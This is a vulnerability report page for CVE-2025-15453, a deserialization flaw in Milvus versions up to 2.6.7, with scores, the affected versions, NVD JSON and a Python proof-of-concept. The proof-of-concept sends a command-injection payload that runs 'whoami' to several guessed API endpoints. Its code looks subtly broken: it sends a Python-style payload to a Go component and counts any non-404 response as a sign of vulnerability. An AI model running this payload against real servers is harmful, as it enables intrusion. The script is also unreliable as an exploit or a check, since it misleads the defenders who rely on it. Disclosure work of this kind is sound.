Security Vulnerability Report
中文
CVE-2025-15453 CVSS 6.3 MEDIUM

CVE-2025-15453

Published: 2026-01-05 03:15:50
Last Modified: 2026-04-29 01:00:02

Description

A security vulnerability has been detected in milvus up to 2.6.7. This vulnerability affects the function expr.Exec of the file pkg/util/expr/expr.go of the component HTTP Endpoint. The manipulation of the argument code leads to deserialization. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. A fix is planned for the next release 2.6.8.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

milvus < 2.6.8
milvus <= 2.6.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-15453 PoC - Milvus Deserialization RCE # Target: Milvus <= 2.6.7 # Endpoint: HTTP API with expr.Exec function TARGET = "http://target:19530" # Malicious payload for deserialization attack # This payload exploits unsafe deserialization in expr.Exec payload = { "code": "__import__('os').system('whoami')", # Example command injection "expr_type": "unsafe_deserialization" } def exploit_milvus_deserialization(target, payload): """ Exploit CVE-2025-15453 by sending malicious code parameter to the HTTP endpoint that processes expressions. """ try: # Try common Milvus HTTP API endpoints endpoints = [ f"{target}/v1/query", f"{target}/api/v1/query", f"{target}/api/expr/exec" ] for endpoint in endpoints: # Send malicious request response = requests.post( endpoint, json=payload, timeout=10, verify=False ) print(f"[*] Testing endpoint: {endpoint}") print(f"[*] Status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") if response.status_code != 404: return True except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-15453 PoC - Milvus Deserialization") print("=" * 60) result = exploit_milvus_deserialization(TARGET, payload) if result: print("[+] Vulnerability may be present!") else: print("[-] Target not vulnerable or endpoint not found")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15453", "sourceIdentifier": "[email protected]", "published": "2026-01-05T03:15:50.293", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in milvus up to 2.6.7. This vulnerability affects the function expr.Exec of the file pkg/util/expr/expr.go of the component HTTP Endpoint. The manipulation of the argument code leads to deserialization. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. A fix is planned for the next release 2.6.8."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/milvus-io/milvus/issues/46442", "source": "[email protected]"}, {"url": "https://github.com/milvus-io/milvus/issues/46442#issue-3743414836", "source": "[email protected]"}, {"url": "https://github.com/milvus-io/milvus/issues/46442#issuecomment-3672197450", "source": "[email protected]"}, {"url": "https://github.com/milvus-io/milvus/milestone/139", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.339486", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.339486", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.719061", "source": "[email protected]"}]}}